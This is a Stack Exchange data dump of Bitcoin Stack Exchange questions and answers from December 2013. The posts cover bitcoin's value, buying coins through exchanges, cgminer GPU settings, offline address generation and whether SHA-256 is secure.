  <row Id="17718" PostTypeId="1" CreationDate="2013-12-02T06:47:04.973" Score="1" ViewCount="84" Body="&lt;p&gt;How do you publish a transaction which is cancelled if some output is not claimed by a given time? (ie returning all the spent coins to their inputs or else creating new conditions under which they can be claimed)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="5485" LastActivityDate="2013-12-02T07:17:38.000" Title="How do you publish a transaction which is cancelled if not claimed by a given time?" Tags="|script|locktime|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17719" PostTypeId="2" ParentId="17316" CreationDate="2013-12-02T06:58:11.017" Score="1" Body="&lt;p&gt;It seems that this functionality has not been implemented yet in Multibit. The only way to check individual balances is to via blockchain.info.  A real pain if you have 100 addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also it's not possible to specify which addresses to spend from when making a transaction from a wallet that has multiple addresses.  So need to have multiple wallets with loads of passwords - torture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is supposed to be possible with Bitcoin to use addresses once and then discard them.  But with multibit this isn't feasible yet in practice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These features will come soon either to Multibit or another wallet.  They are badly needed.&lt;/p&gt;&#xA;" OwnerDisplayName="user9865" LastActivityDate="2013-12-02T06:58:11.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17720" PostTypeId="2" ParentId="17718" CreationDate="2013-12-02T07:17:38.000" Score="1" Body="&lt;p&gt;Using the blockchain you can't. If the transaction is in the blockchain with a reasonable number of confirmations it cannot be cancelled nor reversed. In that case only the owner of the recipient wallet can spend the balance. If for any reason the private key of that address is lost, the balance is irreversibly lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To reverse the transaction in the manner that you describe you would need to use some &lt;a href=&quot;https://en.bitcoin.it/wiki/Off-Chain_Transactions&quot; rel=&quot;nofollow&quot;&gt;off-chain&lt;/a&gt; transaction method.&lt;/p&gt;&#xA;" OwnerUserId="8728" LastActivityDate="2013-12-02T07:17:38.000" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17722" PostTypeId="1" CreationDate="2013-12-02T07:46:22.240" Score="1" ViewCount="2234" Body="&lt;p&gt;I hear that miners solve math problems to secure Bitcoins...  what kinds of problems? And why are the solutions worth &quot;money&quot;?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, what does an exchange get in return for real money when they get Bitcoins? I am talking tangible assets? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that fiat money is not backed by anything tangible, so obviously the exchange is a promise of stated value for a Bitcoin's vaule.  I just don't understand what gives the Bitcoin it's value? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose that with a national currency I understand that there is an agreement to value all things tangible by the labor rate it takes to produce it.  Thereby tying value from one item to another making the currency valid. Obviously Bitcoin works the same way.  So what is the labor that is making the currency value standardized to Bitcoin it's self.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope those questions make sense. Please let me know.  Thanks. &lt;/p&gt;&#xA;" OwnerUserId="9871" LastEditorUserId="516" LastEditDate="2013-12-02T08:55:53.960" LastActivityDate="2014-01-26T20:40:13.157" Title="What gives bitcoins value? A simple explanation please" Tags="|value|" AnswerCount="3" CommentCount="2" ClosedDate="2014-07-10T20:37:52.223" ContentLicense="CC BY-SA 3.0" />
  <row Id="17723" PostTypeId="2" ParentId="17132" CreationDate="2013-12-02T07:55:12.943" Score="2" Body="&lt;p&gt;Theoretical answer: yes and no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Practical answer: not at all.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;SHA-2, or specifically SHA-256, is a good hashing algorithm as far as we know. It has all the properties desired and there are no real attacks on it. It has already been battle-tested a lot in the past years. That Bitcoin uses SHA-256 makes it an even more interesting algorithm to try to crack (there is 'money' behind it now), and with all the ASIC producers popping up it becomes less work to also create ASICs that try to crack passwords hashed with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So with all the extra attention SHA-256 gets, it is now more likely that flaws are found rather sooner than later. However, SHA-2 is a very widely used algorithm as it is, regardless of its use in Bitcoin. If there were any great and obvious flaws, they would have been found already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can be compared with RSA, which now powers many of today's financial transactions and encrypted connections. That too draws a lot of attention to it, but good algorithms don't become bad just because they are in the picture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So while all the extra ASIC production for Bitcoin mining may also provide for better password cracking tools and brings more people to look at the algorithm, this is no practical problem. Also, you should not use SHA-2 directly as a password hashing mechanism anyway. For that, see this question: &lt;a href=&quot;https://security.stackexchange.com/q/211/10863&quot;&gt;https://security.stackexchange.com/q/211/10863&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Read your question more thoroughly now instead of responding to the title.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is bitcoin mining with its daily 4000+ TH/s power, funded and manned entirely by users of the hardware hoping to gain Bitcoins (and hoping they are worth some real $$) really performing a service for the NSA (or someone) and effectively &quot;hiding in plain sight&quot;?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No. That's just tinfoil hattery and not even worth the &quot;thought experiment&quot; (nice try, conspiracy theorist) since it can readily be disproved. See other answers about what we're hashing (hint: we're not finding hashes for actual passwords or other purposes).&lt;/p&gt;&#xA;" OwnerUserId="1747" LastEditorUserId="-1" LastEditDate="2017-03-17T10:46:12.247" LastActivityDate="2013-12-02T08:03:56.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17724" PostTypeId="1" AcceptedAnswerId="17736" CreationDate="2013-12-02T08:07:46.877" Score="1" ViewCount="1041" Body="&lt;p&gt;I want to mine Litecoin on an ATI 7950 while being able to play on my GTX 680.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible ? If yes then how ?&lt;/p&gt;&#xA;" OwnerUserId="9869" LastEditorUserId="5406" LastEditDate="2016-04-25T21:30:57.780" LastActivityDate="2016-04-25T21:30:57.780" Title="Using ATI and Nvidia Cards together" Tags="|litecoin|miner-configuration|gpu|mining-setup|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17725" PostTypeId="2" ParentId="17722" CreationDate="2013-12-02T08:15:15.347" Score="2" Body="&lt;p&gt;Bitcoins have a value simply because of supply and demand. Mathematical laws created a fixed supply of Bitcoins, and people's expectation that they can use them as a means of exchange or store of value created demand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Exchanges simply bring buyers and sellers together. Buyers wish to purchase Bitcoins, either as a means of exchange or as a store of value. Sellers are willing to sell Bitcoins because they'd rather have fiat currency, either because that's what they need to pay bills or because they expect Bitcoins to drop in value. At some price, buyers and sellers will meet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Miners secure the Bitcoin block chain by providing the proof of work that Bitcoin uses to verify Bitcoin transactions. They receive a Bitcoin reward for doing this because that's how Bitcoin was designed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoins have value because they are scarce and can easily by transferred over long distances. They also have value because there's a reasonable expectation that they'll be usable as a means of exchange and as a store of value. There really is no other requirement for a currency. Anything scarce, durable, divisible and fungible can be used as a currency if people agree to use it that way, and many people have agreed to use Bitcoins that way.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="5406" LastEditDate="2014-01-26T13:16:10.487" LastActivityDate="2014-01-26T13:16:10.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17728" PostTypeId="1" AcceptedAnswerId="17729" CreationDate="2013-12-02T08:59:36.087" Score="4" ViewCount="2661" Body="&lt;p&gt;I understand the networking concept of the coin, but I am not sure I understand the purchase process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say I have 1000$ that I want to spend on Bitcoins, who do I give this money to?&lt;/p&gt;&#xA;" OwnerUserId="9877" LastEditorUserId="120" LastEditDate="2013-12-04T08:19:31.393" LastActivityDate="2017-12-17T22:26:28.697" Title="When I buy a Bitcoin with dollars, where does the money go to?" Tags="|buy-bitcoins|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17729" PostTypeId="2" ParentId="17728" CreationDate="2013-12-02T09:08:55.797" Score="6" Body="&lt;p&gt;You give the money to someone who has bitcoins available to sell to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This might happen via an exchange such as bitstamp.net which matches buyers and sellers.&lt;/p&gt;&#xA;" OwnerUserId="9878" LastActivityDate="2013-12-02T09:08:55.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17730" PostTypeId="2" ParentId="17652" CreationDate="2013-12-02T09:17:28.190" Score="1" Body="&lt;p&gt;For now, price your goods in fiat currency (USD, EUR). Bitcoin is good for 1) payment solution 2) market promotion tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take bitcoin as accepted payment method. See it as a special payment method, comparable to credit card, Google Wallet and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to show BTC price next to an item there are digital price stickers which can be updated real time. The largest IT retailer in North Europe, Verkkokauppa.com, uses them for EUR based pricing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.alibaba.com/showroom/digital-price-tags.html&quot; rel=&quot;nofollow&quot;&gt;http://www.alibaba.com/showroom/digital-price-tags.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to have a special software solution which pulls in market data from a site like Mt.Gox, bitcoinaverage.com and updates price tags to show BTC prices based on USR/EUR&amp;lt;-&gt;BTC conversion rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, it might not be worth of the hassle, as people cannot read complicated BTC prices any way. Just use Bitcoin as the payment solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also signs for bitcoin payment accepted:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.google.fi/search?q=bitcoin+payment+accepted&amp;amp;client=firefox-a&amp;amp;hs=Bsl&amp;amp;rls=org.mozilla:en-US:official&amp;amp;channel=fflb&amp;amp;source=lnms&amp;amp;tbm=isch&amp;amp;sa=X&amp;amp;ei=y0-cUo_MOLCPywPy_YCwAQ&amp;amp;ved=0CAkQ_AUoAQ&amp;amp;biw=2154&amp;amp;bih=1277#channel=fflb&amp;amp;q=bitcoin+accepte+neon&amp;amp;rls=org.mozilla:en-US%3Aofficial&amp;amp;tbm=isch&quot; rel=&quot;nofollow&quot;&gt;https://www.google.fi/search?q=bitcoin+payment+accepted&amp;amp;client=firefox-a&amp;amp;hs=Bsl&amp;amp;rls=org.mozilla:en-US:official&amp;amp;channel=fflb&amp;amp;source=lnms&amp;amp;tbm=isch&amp;amp;sa=X&amp;amp;ei=y0-cUo_MOLCPywPy_YCwAQ&amp;amp;ved=0CAkQ_AUoAQ&amp;amp;biw=2154&amp;amp;bih=1277#channel=fflb&amp;amp;q=bitcoin+accepte+neon&amp;amp;rls=org.mozilla:en-US%3Aofficial&amp;amp;tbm=isch&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5464" LastActivityDate="2013-12-02T09:17:28.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17732" PostTypeId="1" CreationDate="2013-12-02T09:25:53.540" Score="0" ViewCount="103" Body="&lt;p&gt;Is there a way to generate my own Bitcoin address offline without using the websites?&lt;/p&gt;&#xA;" OwnerUserId="9881" LastEditorUserId="120" LastEditDate="2013-12-04T08:32:50.430" LastActivityDate="2013-12-04T13:19:33.960" Title="Do BitCoin wallets generated by websites have validity?" Tags="|wallet|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17734" PostTypeId="2" ParentId="17644" CreationDate="2013-12-02T09:39:42.253" Score="1" Body="&lt;p&gt;I sorted it out through Blockchain eventually and was able to move my BTCs somewhere else..phew..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blockchain wouldn't let me import my qt wallet over Firefox but with Chrome, no probs. Then I had to import priv key (dunno why) aswell then bingo!&lt;/p&gt;&#xA;" OwnerUserId="9800" LastActivityDate="2013-12-02T09:39:42.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17736" PostTypeId="2" ParentId="17724" CreationDate="2013-12-02T10:01:16.657" Score="1" Body="&lt;p&gt;Your issue is trying to run ATI and Nvidia video drivers at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many people mine on Linux LiveUSB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would be different if&#xA;a second GPU was so that you could get both of them to mine litecoin at the same time.In that case you would want your GTX680 not only mine but also display, where your other ATI card would do nothing but mining. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This I haven't tried personally but people have using plug and play &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The system begins with the graphic card in the PCI-E closest to the CPU, all drivers were installed for Nvidia first&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Put 7950 in the machine&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Windows will ask to restart the system, I guess to figure out that it's had a hardware change, so restart&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Install AMD drivers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Windows to see the card, plug it into another monitor. Another way is too use a dummy plug: &lt;a href=&quot;http://www.overclock.net/t/384733/the-30-second-dummy-plug&quot; rel=&quot;nofollow&quot;&gt;http://www.overclock.net/t/384733/the-30-second-dummy-plug&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="7519" LastActivityDate="2013-12-02T10:01:16.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17738" PostTypeId="1" CreationDate="2013-12-02T10:09:29.183" Score="1" ViewCount="34619" Body="&lt;p&gt;I'm found that speed of my cgminer should be around &lt;strong&gt;320kh/s&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://litecoin.info/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;https://litecoin.info/Mining_hardware_comparison&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ati / amd radeon HD6870 GPU&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The wiki recommend use this &lt;code&gt;-I 19 -g 1 -w 256 --thread-concurrency 8192&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I can not use -I more than 11, because hardware errors HW&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current success is ~ &lt;strong&gt;150Kh/s&lt;/strong&gt;: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;./cgminer --scrypt --gpu-platform 0 -T --no-submit-stale --queue 4 --scan-time 1 --intensity 11  --thread-concurrency 2048 --load-balance --url stratum+tcp://&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(5s):141.5K (avg):141.3Kh/s | A:631234  R:0  HW:0  WU:118.9/m&#xA;(5s):153.7K (avg):147.4Kh/s | A:1261234  R:0  HW:0  WU:141.2/m&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I set --intensity more than 11, i'm always get a hardware error and no accepted shares:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;12 - only errors - &lt;strong&gt;HW&lt;/strong&gt;, no accepted shares:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;(5s):145.5K (avg):145.0Kh/s | A:0  R:0  HW:12  WU:9.1/m&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;(5s):145.9K (avg):145.1Kh/s | A:0  R:0  HW:12  WU:8.2/m&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;(5s):147.0K (avg):145.4Kh/s | A:0  R:0  HW:13  WU:7.5/m&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;16 - speed growth, but no accepted shares, only &lt;strong&gt;HW&lt;/strong&gt; :&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;(5s):179.4K (avg):279.3Kh/s | A:0  R:0  HW:39  WU:27.2/m&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;(5s):226.5K (avg):269.4Kh/s | A:0  R:0  HW:54  WU:13.7/m&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;18 - very huge desktop lag, no accepted shares, and &lt;strong&gt;HW&lt;/strong&gt; growth very fast:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;(5s):188.2K (avg):296.4Kh/s | A:0  R:0  HW:52  WU:0.0/m&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;(5s):230.4K (avg):295.9Kh/s | A:0  R:0  HW:82  WU:0.0/m&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;(5s):256.3K (avg):295.9Kh/s | A:0  R:0  HW:106  WU:0.0/m&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;(5s):271.9K (avg):295.8Kh/s | A:0  R:0  HW:126  WU:0.0/m&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;20 - good bye Desktop. &lt;strong&gt;HW&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;(5s):273.9K (avg):287.7Kh/s | A:0  R:0  HW:194  WU:1.3/m&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;(5s):285.6K (avg):289.4Kh/s | A:0  R:0  HW:224  WU:1.1/m&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;(5s):264.7K (avg):292.4Kh/s | A:0  R:0  HW:325  WU:1.6/m&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is around declared in Wiki 320ks/s, but it is not a workable state, there are only errors - &lt;strong&gt;HW&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there is another mistake in wiki: &lt;code&gt;--thread-concurrency 8192&lt;/code&gt;, &lt;a href=&quot;http://www.amd.com/US/PRODUCTS/DESKTOP/GRAPHICS/AMD-RADEON-HD-6000/HD-6870/Pages/amd-radeon-hd-6870-overview.aspx&quot; rel=&quot;nofollow&quot;&gt;my card&lt;/a&gt; have no enough RAM:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; [2013-12-02 17:02:00] Maximum buffer memory device 0 supports says 134217728                    &#xA; [2013-12-02 17:02:00] Your scrypt settings come to 13428326&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This told me cgminer, when I make +1 to  --thread-concurrency 2049&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What is the magical border between 11 and 12 intensity?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not touch default Core and Memory Clocks:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ amdconfig  --odgc&#xA;&#xA;Default Adapter - AMD Radeon HD 6800 Series &#xA;                            Core (MHz)    Memory (MHz)&#xA;           Current Clocks :    300           300&#xA;             Current Peak :    915           1050&#xA;  Configurable Peak Range : [400-1100]     [500-1260]&#xA;                 GPU load :    8%&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How can I achieve workable &lt;em&gt;320&lt;/em&gt; kh/s, as wiki told?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="9885" LastEditorUserId="5406" LastEditDate="2014-02-15T07:57:31.217" LastActivityDate="2016-04-08T23:32:45.400" Title="cgminer settings [ ati / amd radeon HD6870 GPU ] scrypt" Tags="|cgminer|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17740" PostTypeId="2" ParentId="17549" CreationDate="2013-12-02T10:37:44.997" Score="1" Body="&lt;p&gt;The following &lt;a href=&quot;https://bitcoin.stackexchange.com/a/17091/1489&quot;&gt;exchanges&lt;/a&gt; allow you to buy Litecoins directly:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://harbor.ly/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Harborly&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.crypto-trade.com/trade/ltc_usd&quot; rel=&quot;nofollow noreferrer&quot;&gt;Crypto-Trade&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://btc-e.com/exchange/ltc_usd&quot; rel=&quot;nofollow noreferrer&quot;&gt;BTC-E&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://upbit.org/how-to-buy/&quot; rel=&quot;nofollow noreferrer&quot;&gt;UpBit&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.okcoin.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;OKCoin&lt;/a&gt; (Chinese)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.kraken.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Kraken&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Or you could &lt;a href=&quot;https://www.litecoinlocal.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;find a local trader&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1489" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2013-12-08T19:45:05.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17741" PostTypeId="1" AcceptedAnswerId="17748" CreationDate="2013-12-02T10:38:52.177" Score="-2" ViewCount="132" Body="&lt;p&gt;The internet is now full of portals who are selling bitcoins to single users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where do these companies buy bitcoins and at what prices?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any central regulator who can decide critical issue on bitcons?&lt;/p&gt;&#xA;" OwnerUserId="9894" LastEditorUserId="132" LastEditDate="2014-01-13T14:45:50.960" LastActivityDate="2014-01-13T14:45:50.960" Title="From where do portals who sell bitcoins buy bitcoins?" Tags="|exchanges|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17744" PostTypeId="2" ParentId="17668" CreationDate="2013-12-02T11:16:16.587" Score="2" Body="&lt;p&gt;I've been using the qrk.mime-pool.net for almost a week now and it is working fine:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They have instructions here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://qrk.mine-pool.net/start.html&quot; rel=&quot;nofollow&quot;&gt;http://qrk.mine-pool.net/start.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All you need is a wallet address for it to pay into, the password can be whatever you want.  You can monitor payouts to your address from the Payout tab - if it doesn't appear after a few blocks have been  mined something is wrong:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://qrk.mine-pool.net/index.html#mainnodepayout&quot; rel=&quot;nofollow&quot;&gt;http://qrk.mine-pool.net/index.html#mainnodepayout&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9897" LastActivityDate="2013-12-02T11:16:16.587" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17745" PostTypeId="2" ParentId="14389" CreationDate="2013-12-02T11:20:29.570" Score="3" Body="&lt;p&gt;You have almost 5MH/s, so at the &lt;a href=&quot;http://blockexplorer.com/testnet/q/getdifficulty&quot; rel=&quot;nofollow&quot;&gt;current difficulty&lt;/a&gt; = 1787.78664453 and given, that base diff for testnet is 0.5 diff for main btc network, you can put this into &lt;a href=&quot;http://blockchained.com/profit/index.php&quot; rel=&quot;nofollow&quot;&gt;calculator&lt;/a&gt;, and you get &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;9 days, 6 hours&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;. Hope this solves your case.&lt;/p&gt;&#xA;" OwnerUserId="9563" LastActivityDate="2013-12-02T11:20:29.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17746" PostTypeId="2" ParentId="17602" CreationDate="2013-12-02T11:27:09.177" Score="7" Body="&lt;p&gt;There are a few other GPUs that do a bit better according to this list:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://litecoin.info/Mining_hardware_comparison&quot;&gt;https://litecoin.info/Mining_hardware_comparison&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this is just based on user feedback to the Wiki.  The ones with a lot more khash/s are multi-card setups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Really if you have free power you should mine with whatever you can afford, then add more cards after you have coins and have sold them.  There are instructions on a cheap multi-card system here:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.coinminingrigs.com/&quot;&gt;http://www.coinminingrigs.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately many of the parts referenced are difficult to find - they sell like hot cakes!  The R9 280X is equivalent to the 7950 and is usually cheaper. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't forget that there are dozens of scrypt based currencies and mining the most profitable one over LTC can net you a lot more income.  I can't post any more links here but google multipool or check www.multipool.in for a start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also don't forget that if you put in a nice 4 or 6 core processor you can also do CPU mining for PrimeCoin, QuarkCoin or ProtoShares.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="9897" LastActivityDate="2013-12-02T11:27:09.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17748" PostTypeId="2" ParentId="17741" CreationDate="2013-12-02T12:31:01.367" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;From where these companies buy bitcoins and at what prices?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;From people selling them at market rate of an exchange likely. People selling them at the END all got them from miners - that is how bitcoins come into existence.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;is there any central regulator who can decide critical issue on bitcons?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No. That is by design.&lt;/p&gt;&#xA;" OwnerUserId="103" LastActivityDate="2013-12-02T12:31:01.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17749" PostTypeId="2" ParentId="17741" CreationDate="2013-12-02T12:32:06.693" Score="1" Body="&lt;p&gt;They most likely acquire coins via the large exchanges like MtGox and BitStamp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin has no centralized regulator. Since it is an open source project, it evolves by consensus and critical issues are decided between the developers and miners.&lt;/p&gt;&#xA;" OwnerUserId="1873" LastActivityDate="2013-12-02T12:32:06.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17750" PostTypeId="2" ParentId="17732" CreationDate="2013-12-02T12:36:55.633" Score="2" Body="&lt;p&gt;You can save the &lt;a href=&quot;https://www.bitaddress.org&quot; rel=&quot;nofollow&quot;&gt;bitaddress.org&lt;/a&gt; site and load it offline and it will still work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use &lt;a href=&quot;https://en.bitcoin.it/wiki/Vanitygen&quot; rel=&quot;nofollow&quot;&gt;VanityGen&lt;/a&gt; to generate &quot;vanity&quot; addresses.&lt;/p&gt;&#xA;" OwnerUserId="1873" LastActivityDate="2013-12-02T12:36:55.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17751" PostTypeId="1" AcceptedAnswerId="18252" CreationDate="2013-12-02T12:53:18.847" Score="4" ViewCount="4665" Body="&lt;p&gt;Is there any way to generate bitcoin addresses  other than the Blockchain API? (given the fact that it is not public)&lt;/p&gt;&#xA;" OwnerUserId="9901" LastEditorUserId="5406" LastEditDate="2020-09-18T18:35:59.383" LastActivityDate="2023-11-22T07:20:47.877" Title="How can I generate a bitcoin address?" Tags="|blockchain|wallet|api|address-generation|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17752" PostTypeId="1" CreationDate="2013-12-02T12:58:58.747" Score="0" ViewCount="182" Body="&lt;p&gt;I just bought a couple of bitcoins. I got my wallet from Bitcom.org but I learned that there is this Electrum wallet which Id like to try. How do I open my wallet with the new App?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks!&lt;/p&gt;&#xA;" OwnerUserId="9903" LastActivityDate="2014-12-28T02:47:02.147" Title="Opening Wallet with a different App" Tags="|wallet|electrum|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
